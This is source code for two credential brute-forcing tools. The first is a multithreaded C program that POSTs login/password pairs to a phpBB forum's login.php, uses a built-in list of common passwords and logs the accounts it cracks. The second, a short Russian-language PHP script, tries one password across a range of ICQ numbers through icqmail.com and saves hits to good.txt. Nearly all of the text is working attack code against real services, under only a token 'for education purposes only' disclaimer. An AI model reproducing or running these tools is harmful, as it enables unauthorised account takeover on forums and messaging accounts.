/* (C) KEZ <kez@antichat.ru> */

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <getopt.h>
#include <netdb.h>
#include <pthread.h>
#include <time.h>
#include <curses.h>
#include <signal.h>
#include <getopt.h>

#define PHPBB_CHECKPAIR_FORUMERROR -6
#define PHPBB_CHECKPAIR_UNKNOWNRESPONSE -5
#define PHPBB_CHECKPAIR_FORBIDDEN -4
#define PHPBB_CHECKPAIR_NOTFOUND -3
#define PHPBB_CHECKPAIR_SHAREERROR -2
#define PHPBB_CHECKPAIR_CONNECTERROR -1
#define PHPBB_CHECKPAIR_GOOD 0
#define PHPBB_CHECKPAIR_BAD 1

#define PHPBB_GETNEXTPAIR_FILEERROR -1
#define PHPBB_GETNEXTPAIR_EOF 0
#define PHPBB_GETNEXTPAIR_OK 1

#define PHPBB_PASSWORD_LEN 32
#define PHPBB_LOGIN_LEN 25
#define PHPBB_PAIR_LEN PHPBB_PASSWORD_LEN + PHPBB_LOGIN_LEN + 3
#define PHPBB_PATH_LEN 256

#define PHPBB_RESPONSEBUF_LEN 1024

#define MAX_THREADS 300


typedef struct
{
	char *hostname;
	unsigned int port;
	char *ip;
	char *path;
	int threads;

	char *listfile;
	char *logfile;

	bool single;
	bool curses;
} prog_options;


FILE *phpbb_listfile;
FILE *phpbb_logfile;

pthread_t threads[MAX_THREADS];
pthread_t crefresh_thread;
pthread_mutex_t print_mutex = PTHREAD_MUTEX_INITIALIZER;

bool stop_brute = 0;

prog_options prog;

int curr_pass = -1;
char curr_login[PHPBB_LOGIN_LEN];

time_t start_time;
time_t stop_time;
time_t elapsed_time;

unsigned int count_checked = 0;
unsigned int count_good    = 0;
float        speed         = 0;

char tmplogin[PHPBB_LOGIN_LEN];

char copyright[] = "(C) KEZ 2005";
char logo[]      = "PHPBB BRUTEFORCE";

/* common passwords list */
char *common_passwords[] =
{
	"123", "1234", "12345", "123456", "1234567", "12345678", "87654321", "7654321", "654321", "54321",
	"4321", "321", "21", "q", "qw", "qwe", "qwer", "qwert", "qwerty", "qwerty", "ytrewq", "trewq",
	"rewq", "ewq", "wq", "1111", "111", "2222", "222", "3333", "333", "4444", "444", "5555", "555",
	"6666", "666","7777", "777", "8888", "888", "9999", "999", "101010", "202020", "303030",
	"404040", "505050", "606060", "707070", "808080", "909090", "000000", "102030", "302010",
	"666666", "112233", "111222333", "q1w2e3", "pass", "password", "passpass"
};

/* PHP explode() analog */
int explode( char *pair, char separator, char *s1, char *s2 )
{
	int separator_position;

	if (!pair || !s1 || !s2 ) return 0;
	if (!separator) separator = ';';

	separator_position = strchr( pair, separator ) - pair + 1;
	if (!separator_position || separator_position < 0) return 0;

	snprintf( s1, separator_position, "%s", pair );
	snprintf( s2, strlen( pair ), "%s", pair + separator_position );

	return 1;
}

/* Perl chomp() analog */
int chomp( char *s )
{
	if (!s) return -1;
	if (strstr( s, "\r" ) ) memset( (char*)strstr( s, "\r" ), 0, 1 );
	if (strstr( s, "\n" ) ) memset( (char*)strstr( s, "\n" ), 0, 1 );
}

/* DNS resolver */
char *GetIP( char* hostname )
{
  struct hostent *he;
  struct in_addr in;

  he = gethostbyname( hostname );
  if (!he) return NULL;

  memcpy( &in.s_addr, he->h_addr, he->h_length );

  return (char*)inet_ntoa( in );
}

/* login-password pair checker */
int phpbb_checkpair( char *ip, unsigned int port, char *hostname, char *path, char *login, char *password )
{
	int			s;
	struct sockaddr_in 	s_a;
	char			*request;
	char			response[PHPBB_RESPONSEBUF_LEN];
	int			request_length;
	int			content_length;

	if (!ip || !hostname || !login || !password || !path)
	return PHPBB_CHECKPAIR_SHAREERROR;

	if (strlen( path ) > PHPBB_PATH_LEN)		return PHPBB_CHECKPAIR_SHAREERROR;

	s = socket( AF_INET, SOCK_STREAM, 0 );
	if (!s) return PHPBB_CHECKPAIR_SHAREERROR;

	if (inet_addr( prog.ip ) == -1) return PHPBB_CHECKPAIR_SHAREERROR;

	s_a.sin_family		= AF_INET;
	s_a.sin_port		= htons( prog.port );
	s_a.sin_addr.s_addr	= inet_addr( prog.ip );

	if (connect( s, (struct sockaddr*)&s_a, sizeof( s_a ) ) < 0) return PHPBB_CHECKPAIR_CONNECTERROR;

	content_length = 42  + strlen( login ) + strlen( password );
	request_length = 125 + strlen( hostname ) * 2 + strlen( path ) + content_length;

	request = (char*)malloc( request_length );
	sprintf( request, "POST http://%s%slogin.php HTTP/1.1\n"
			  "Content-Type: application/x-www-form-urlencoded\n"
			  "Connection: Close\n"
			  "Host: %s\n"
			  "Content-Length: %d\n"
			  "\n"
			  "username=%s&password=%s&redirect=&login=Log+in"
			  "\n",
	hostname, path, hostname, content_length, login, password );

	if (send( s, request, request_length, 0 ) < 0) return PHPBB_CHECKPAIR_CONNECTERROR;
	free( request );

	if (recv( s, response, PHPBB_RESPONSEBUF_LEN, 0 ) < 0) return PHPBB_CHECKPAIR_CONNECTERROR;
	close( s );

	if (!strncmp( response+9, "404", 3 )) return PHPBB_CHECKPAIR_NOTFOUND;

	if (!strncmp( response+9, "403", 3 )) return PHPBB_CHECKPAIR_FORBIDDEN;

	if (strncmp( response+9, "200", 3 ) && strncmp( response+9, "302", 3 ))
	return PHPBB_CHECKPAIR_UNKNOWNRESPONSE;

	if (strstr( response, "phpBB : <b>Critical Error</b>" )) return PHPBB_CHECKPAIR_FORUMERROR;

	if (strstr( response, "Location: http://" )) return PHPBB_CHECKPAIR_GOOD;
		else return PHPBB_CHECKPAIR_BAD;
}


/* listfile fopen() */
int phpbb_openlistfile( char *filename )
{
	if (!filename) return -1;
	if (phpbb_listfile) return -1;

	phpbb_listfile = fopen( filename, "r" );
	if (!phpbb_listfile) return 0;

	return 1;
}

/* listfile close() */
int phpbb_closelistfile( void )
{
	close( phpbb_listfile );
	return 1;
}

/* logfile fopen() */
int phpbb_openlogfile( char *filename )
{
	if (!filename) return -1;
	if (phpbb_logfile) return -1;

	phpbb_logfile = fopen( filename, "w" );
	if (!phpbb_logfile) return 0;

	return 1;
}

/* logfile close() */
int phpbb_closelogfile( void )
{
	close( phpbb_logfile );
	return 1;
}

/* add message to log */
int putlog( char *s )
{
	if (!phpbb_logfile) return -1;

	fputs( s, phpbb_logfile );

	fflush( phpbb_logfile );
}

/* read next pair from list file */
int phpbb_getnextpair( char *pair )
{
	char BUF[1024];

	if (prog.single == 1)
	{
		if (!common_passwords[curr_pass])
		{
			curr_pass = 0;
			if (ferror( phpbb_listfile )) return PHPBB_GETNEXTPAIR_FILEERROR;
			if (!fgets( curr_login, PHPBB_LOGIN_LEN, phpbb_listfile ))
			{
				if (feof( phpbb_listfile )) return PHPBB_GETNEXTPAIR_EOF;
				if (ferror( phpbb_listfile )) return PHPBB_GETNEXTPAIR_FILEERROR;
			}

			if (!strstr( curr_login, "\n" )) fgets( BUF, 1024, phpbb_listfile );
			else chomp( curr_login );
		}

		sprintf( pair, "%s;%s", curr_login, common_passwords[curr_pass] );
		curr_pass++;

		return PHPBB_GETNEXTPAIR_OK;
	}

	if (!phpbb_listfile) return PHPBB_GETNEXTPAIR_FILEERROR;

	if (!fgets( pair, PHPBB_PAIR_LEN, phpbb_listfile ))
	{
		if (feof( phpbb_listfile )) return PHPBB_GETNEXTPAIR_EOF;
		if (ferror( phpbb_listfile )) return PHPBB_GETNEXTPAIR_FILEERROR;
	}

	if (!strstr( pair, "\n" )) fgets( BUF, 1024, phpbb_listfile );
	else chomp( pair );

	return PHPBB_GETNEXTPAIR_OK;
}

/* curses thread number print */
void PrintCursesThreadNumber( int thread_num )
{
	char msg[80];
	int i;

	memset( msg, ' ', 80 );
	sprintf( msg, "%d)", thread_num );
	move( 4 + thread_num, 0 );
	standout();
	addstr( msg );
	standend();
}

/* bruting thread */
void *phpbb_brutethread( void* parameter )
{
	char pair[PHPBB_PAIR_LEN];
	char login[PHPBB_LOGIN_LEN];
	char password[PHPBB_PASSWORD_LEN];
	int i;
	char msg[80];

	int thread_num = (int)parameter;

	if (!prog.curses) printf( " [INFO] [Thread #%d] <SPAWNED>\n", thread_num );

	while (1)
	{
		if (prog.curses)
		{
			pthread_mutex_lock( &print_mutex );
			PrintCursesThreadNumber( thread_num );
			pthread_mutex_unlock( &print_mutex );
		}

		if (stop_brute)
		{
			if (!prog.curses) printf( " [INFO] [Thread #%d] <KILLED>\n", thread_num );
			pthread_exit( 0 );
		}

		switch (phpbb_getnextpair( pair ))
		{
			case PHPBB_GETNEXTPAIR_OK:
				memset( login, 0, PHPBB_LOGIN_LEN );
				memset( password, 0, PHPBB_PASSWORD_LEN );

				if (!explode( pair, ';', login, password ))
				{
					if (!prog.curses)
					printf( "  [INFO] [Thread #%d] WRONG LISTFILE FORMAT\n",thread_num );

					stop_brute = 1;

					continue;
				}

				if (prog.curses)
				{
					pthread_mutex_lock( &print_mutex );

					move( 4 + thread_num, 6 );
					sprintf( msg, "%s;%s\0", login, password );
					addstr( msg );
					for (i = 0; i <= 80 - strlen( msg ); i++) addch( ' ' );

					pthread_mutex_unlock( &print_mutex );
				}

				switch (phpbb_checkpair( prog.ip, prog.port, prog.hostname, prog.path,
				login, password ))
				{
					case PHPBB_CHECKPAIR_GOOD:
						if (!prog.curses)
						printf( "  [INFO] [Thread #%d] GOOD PAIR: %s;%s\n",
						thread_num, login, password );

						count_good++;

						putlog( "LOGIN: " );
						putlog( login );
						putlog( "       PASSWORD: " );
						putlog( password );
						putlog( "\n" );

						break;

					case PHPBB_CHECKPAIR_BAD:
						if (!prog.curses)
						printf( "  [INFO] [Thread #%d] BAD PAIR: %s;%s\n",
						thread_num, login,
						password );
						break;

					case PHPBB_CHECKPAIR_SHAREERROR:
						endwin();
						printf( "  [ERROR] [Thread #%d] SHARE ERROR\n", thread_num );
						stop_brute = 1;
						break;

					case PHPBB_CHECKPAIR_CONNECTERROR:
						endwin();
						printf( "  [ERROR] [Thread #%d] CONNECTION FAILED\n", thread_num );
						stop_brute = 1;
						break;

					case PHPBB_CHECKPAIR_UNKNOWNRESPONSE:
						endwin();
						printf( "  [ERROR] [Thread #%d] UNKNOW SERVER RESPONSE\n", thread_num );
						stop_brute = 1;
						break;

					case PHPBB_CHECKPAIR_FORBIDDEN:
						endwin();
						printf( "  [ERROR] [Thread #%d] FORBIDDEN\n", thread_num );
						stop_brute = 1;
						break;

					case PHPBB_CHECKPAIR_NOTFOUND:
						endwin();
						printf( "  [ERROR] [Thread #%d] NOT FOUND\n", thread_num );
						stop_brute = 1;
						break;

					case PHPBB_CHECKPAIR_FORUMERROR:
						endwin();
						printf( "  [ERROR] [Thread #%d] REMOTE ERROR\n", thread_num );
						stop_brute = 1;
						break;

					default: break;
				}

				count_checked++;

				continue;

			case PHPBB_GETNEXTPAIR_FILEERROR:
				endwin();
				printf( "  [ERROR] [Thread #%d] LISTFILE READ ERROR\n", thread_num );
				stop_brute = 1;
				break;

			case PHPBB_GETNEXTPAIR_EOF:
				endwin();
				printf( "  [INFO] [Thread #%d] EOF\n", thread_num );
				stop_brute = 1;
				continue;

			default: break;
		}
	}

	return NULL;
}

/* statistics */
void Stats( void )
{
	elapsed_time = stop_time - start_time;
	if (elapsed_time && count_checked)
	speed = (float)count_checked / (float)elapsed_time;
	else speed = 0;

	printf( "[STATS]\n" );
	printf( "Time started  : %s", ctime( &start_time ) );
	printf( "Time finished : %s", ctime( &stop_time ) );
	printf( "Elapsed       : %d seconds\n", stop_time - start_time );
	printf( "Checked       : %d pairs\n", count_checked );
	printf( "Good          : %d pairs\n", count_good );
	printf( "Speed         : %f pairs/second\n", speed );
	printf( "\n" );
}

/* usage */
void Usage( char *s )
{
	printf( "Usage: ./prog -h host [-s port] [-p path] -l listfile\n" );
	printf( "              [-t threads] [-o outfile] [-P] [-C]\n\n" );
	printf( "  host        :    phpBB hostname or IP address\n" );
	printf( "  port        :    web server port, 80 by default\n" );
	printf( "  path        :    remote path, where phpBB located, ""/"" by default\n" );
	printf( "  listfile    :    file with login;password pairs or single login,\n "
	        "                  if -P specified\n" );
	printf( "  threads     :    number of threads, 1 by default\n" );
	printf( "  outfile     :    write bruted pairs to this file, /dev/null by default\n" );
	printf( "  -P          :    use common passwords. -l options = single LOGIN\n" );
	printf( "  -C          :    use curses lib. graphical output\n" );
	printf( "\n" );

	if (s) printf( "------- %s-------\n", s );

	exit( 0 );
}

/* SIGINT handler */
void sigint_catch( int signo )
{
	if (!stop_brute)
	{
		stop_brute = 1;
		if (!prog.curses) printf( "[INFO] [SIGINT Handler] INTERRUPT (Ctrl+C)\n", signo );
	}
}

/* config print */
void PrintCursesConfig( void )
{
	char msg[1024];

	if (!prog.curses)
	{
		printf( "\n[SETTINGS]\n" );
		printf( "  HOST     : %s\n", prog.hostname );
		printf( "  IP       : %s\n", prog.ip );
		printf( "  PORT     : %d\n", prog.port );
		printf( "  PATH     : %s\n", prog.path );
		printf( "  LISTFILE : %s\n", prog.listfile );
		printf( "  THREADS  : %d\n", prog.threads );
		if (prog.logfile)
		printf( "  OUTFILE  : %s\n", prog.logfile );
		printf( "  OTHER    : " );
		if (prog.single) printf( "USE COMMON PASSWORDS    " );
		if (prog.curses) printf( "USE CURSES OUTPUT" );
		if (!prog.single && !prog.curses) printf( "NO" );
		printf( "\n\n" );
	}
	else
	{
		move( LINES - 6, 2 );
		sprintf( msg, "http://%s:%d%s (%s)\n  (listfile: %s)"
		" (outfile: %s) (threads: %d)",
		prog.hostname, prog.port, prog.path, prog.ip, prog.listfile, prog.logfile, prog.threads);
		addstr( msg );
	}
}

/* curses logo */
void PrintCursesLogo( void )
{
	standout();
	move( 1, COLS / 2 - strlen( logo ) / 2 );
	addstr( logo );
	standend();
}

/* curses speed */
void PrintCursesSpeed( void )
{
	char msg[20];

	elapsed_time = time( NULL ) - start_time;
	if (!elapsed_time || !count_checked) return;

	speed = (float)count_checked/(float)elapsed_time;

	pthread_mutex_lock( &print_mutex );

	memset( msg, 0, 20 );
	move( LINES - 7, 2 );
	sprintf( msg, "SP %f | EL %u | AL %u | GD %u", speed, elapsed_time/60, count_checked, count_good );
	addstr( msg );

	pthread_mutex_unlock( &print_mutex );
}

/* curses copyright */
void PrintCursesCopyright( void )
{
	move( LINES - 2, COLS / 2 - strlen( copyright ) / 2 );
	addstr( copyright );
}

/* curses lib. initialize */
void InitCurses( void )
{
	initscr();
	clear();
	PrintCursesLogo();
	PrintCursesCopyright();
	PrintCursesConfig();
	refresh();
}

/* refresh screen */
void *CursesRefresh( void *param )
{
	while (1)
	{
		PrintCursesSpeed();

		move( LINES - 1, COLS - 1 );

		refresh();
	}
}

/* entry point */
int main( int argc, char *argv[] )
{
	int i;

	opterr = 0;

	if (argc < 2) Usage( NULL );

	while (i = getopt( argc, argv, "h:s:p:l:t:o:PC" ))
	{
		if (i == EOF) break;

		switch (i)
		{
			case 'h':
				prog.hostname = optarg;
				break;

			case 's':
				prog.port = (unsigned int)atoi( optarg );
				break;

			case 'p':
				prog.path = optarg;
				break;

			case 'l':
				prog.listfile = optarg;
				break;

			case 't':
				prog.threads = (int)atoi( optarg );
				break;

			case 'o':
				prog.logfile = optarg;
				break;

			case 'P':
				prog.single = 1;
				break;

			case 'C':
				prog.curses = 1;
				break;

			case '?':
				printf( "Option error - %c\n", optopt );
				Usage( NULL );
		}
	}

	if (!prog.hostname) Usage( "Hostname needed!" );
	if (!prog.listfile) Usage( "Listfile needed!" );

	if (!prog.logfile) prog.logfile = "/dev/null";
	if (!prog.threads) prog.threads = 1;
	if (!prog.path) prog.path = "/";
	if (!prog.port) prog.port = 80;

	if (inet_addr( prog.hostname ) == -1) prog.ip = GetIP( prog.hostname );
	else
	prog.ip = prog.hostname;

	if (prog.curses)
	{
		InitCurses();
	}
	else
	{
		printf( "\nphpBB Bruteforce\n" );
		printf( "for education purposes only\n" );
		printf( "KEZ <kez@antichat.ru> (C) ANTICHAT.RU. CODED IN 2005 YEAR.\n\n" );
	}


	signal( SIGINT,  sigint_catch );
	signal( SIGCHLD, SIG_IGN );
	signal( SIGTERM, SIG_IGN );
	signal( SIGSEGV, SIG_IGN );
	signal( SIGHUP,  SIG_IGN );
	signal( SIGPIPE, SIG_IGN );

	if (phpbb_openlistfile( prog.listfile ) != 1)
	{
		if (prog.curses) endwin();
		printf( "[ERROR] [Main Thread] CANNOT OPEN LISTFILE\n\n" );
		exit( 0 );
	}
	if (prog.logfile) if (phpbb_openlogfile( prog.logfile ) != 1)
	{
		if (prog.curses) endwin();
		printf( "[ERROR] [Main Thread] CANNOT OPEN OUTFILE\n\n" );
		exit( 0 );
	}

	start_time = time( NULL );

	if (prog.curses) pthread_create( &crefresh_thread, NULL, CursesRefresh, NULL );

	if (!prog.curses) printf( "[INFO] [Main Thread] CREATING THREADS...\n" );

	for (i = 1; i <= prog.threads; i++)
	{
		if (!stop_brute) pthread_create( &threads[i], NULL, phpbb_brutethread, (void*)i );
	}

	for (i = 1; i <= prog.threads ; i++) pthread_join( threads[i], NULL );

	if (!prog.curses) printf( "[INFO] [Main Thread] ALL THREADS KILLED\n\n" );

	stop_time = time( NULL );

	endwin();
	Stats();

	if (!prog.single) phpbb_closelistfile();
	if (prog.logfile) phpbb_closelogfile();
}

<?
/*//////////////////////////////////////
// ICQ Брутофорс by Zadoxlik          //
// Идея The FUF                       //
*///////////////////////////////////////
?>
<h4>ICQ брутофорс</h4>
<form method=post action="">
Аськи с <input type=text name=diap1> по <input type=text name=diap2>
<BR>тестим на пасс <input type=text name=pass>
<input type=submit value="давай">
</form>

<?
if(@$diap1 && @$diap2 && @$pass){
//Собственно процесс брутофорса

for($i=$diap1; $i<=$diap2; $i++){
$open_host="www.icqmail.com";
$open_port="80";
$main_url2="http://www.icqmail.com/s/icq/reg_icq.asp";
$refer2="http://www.icqmail.com/s/icq/reg_icq.asp";
$host="www.icqmail.com";
$sock = fsockopen($open_host, $open_port, $errno, $errstr, 100);
fputs($sock, "POST ".$main_url2." HTTP/1.0\r\n");
fputs($sock, "Host: ".$host."\r\n");
fputs($sock, "Accept: */*\r\n");
fputs($sock, "Accept-Language: ru\r\n");
fputs($sock, "Proxy-Connection: Keep-Alive\r\n");
fputs($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n");
fputs($sock, "Referer: ".$refer2."\r\n");
fputs($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fputs($sock, "Content-Length: 116\r\n");
fputs($sock, "Pragma: no-cache\r\n");
fputs($sock, "Cookie: lang=xx; temp=; domaincode=icq\r\n");
fputs($sock, "\r\n");
fputs($sock, "AltID=".$i."&user=gfsdghfshh&pwd=".$pass."&repwd=".$pass."&firstname=&lastname=&tosagree=on&action=register&xo=\r\n");
fputs($sock, "US\r\n");
 fputs($sock, "\r\n");
$u=fread($sock, 100);
for($x=0;$x < 900;$x++){
$headers = fgets ($sock, 4096);
@$a=$a.$headers;}
fclose($sock);
@$good=eregi("(We're sorry, your ICQ)", $a);
$a="0";
if(!@$good){
$fp=fopen("good.txt","a");
$messaga=$i." - pass: ".$pass."\r\n";
fputs($fp,$messaga);
fclose($fp);}
}
}




?>